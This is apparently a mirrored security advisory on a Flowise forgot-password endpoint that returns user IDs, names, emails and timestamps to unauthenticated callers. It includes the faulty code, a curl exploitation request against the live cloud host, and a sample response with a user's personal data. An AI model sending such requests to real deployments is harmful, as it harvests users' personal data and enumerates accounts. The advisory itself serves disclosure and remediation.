Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint
Summary
The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.
Vulnerability Details
| Field | Value |
|---|---|
| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| Affected File | packages/server/src/enterprise/services/account.service.ts (lines 517-545) |
| Endpoint | POST /api/v1/account/forgot-password |
| Authentication | None required |
| CVSS 3.1 | 3.7 (Low) |
Root Cause
In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:
public async forgotPassword(data: AccountDTO) {
// ...
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
data.user = user
// ... password reset logic ...
return sanitizeUser(data.user) // Returns user object with PII
}
The sanitizeUser function only removes sensitive authentication fields:
export function sanitizeUser(user: Partial<User>) {
delete user.credential // password hash
delete user.tempToken // reset token
delete user.tokenExpiry
return user // Still contains: id, name, email, status, createdDate, updatedDate
}
Impact
An unauthenticated attacker can:
- Harvest PII: Collect user IDs, full names, and account metadata
- Profile users: Determine account creation dates and activity patterns
- Enumerate accounts: Confirm email existence and gather associated data
- Enable further attacks: Use harvested data for social engineering or targeted phishing
Exploitation
curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
-H "Content-Type: application/json" \
-d '{"user":{"email":"victim@example.com"}}'
Evidence
Request:
POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json
{"user":{"email":"vefag54010@naprb.com"}}
Response (201 Created):
{
"id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"name": "Vefag naprb",
"email": "vefag54010@naprb.com",
"status": "active",
"createdDate": "2026-01-17T15:21:59.152Z",
"updatedDate": "2026-01-17T15:35:06.492Z",
"createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
"updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}
Exposed Data
| Field | Risk |
|---|---|
id |
Internal user UUID - enables targeted attacks |
name |
Full name - PII disclosure |
email |
Email confirmation |
status |
Account state information |
createdDate |
User profiling |
updatedDate |
Activity tracking |
createdBy / updatedBy |
Internal reference leak |
Expected Behavior
A secure forgot-password endpoint should return a generic response regardless of whether the email exists:
{"message": "If this email exists, a password reset link has been sent."}
References
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | flowise | < 3.0.13 | 3.0.13 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N- Debilidad (CWE)
CWE-200- Plataforma
- npm
- Paquete
flowise- Publicada
- 05.03.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-jc5m-wrp2-qq38 - CC BY 4.0
Historial de vulnerabilidades: flowise
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 114
- Primera → última
- 04.2024 10.2026
- Sin corrección
- 16
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 28
- Alta 62
- Media 24
Divulgaciones por año
- 2024: 11
- 2025: 22
- 2026: 81
-
Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.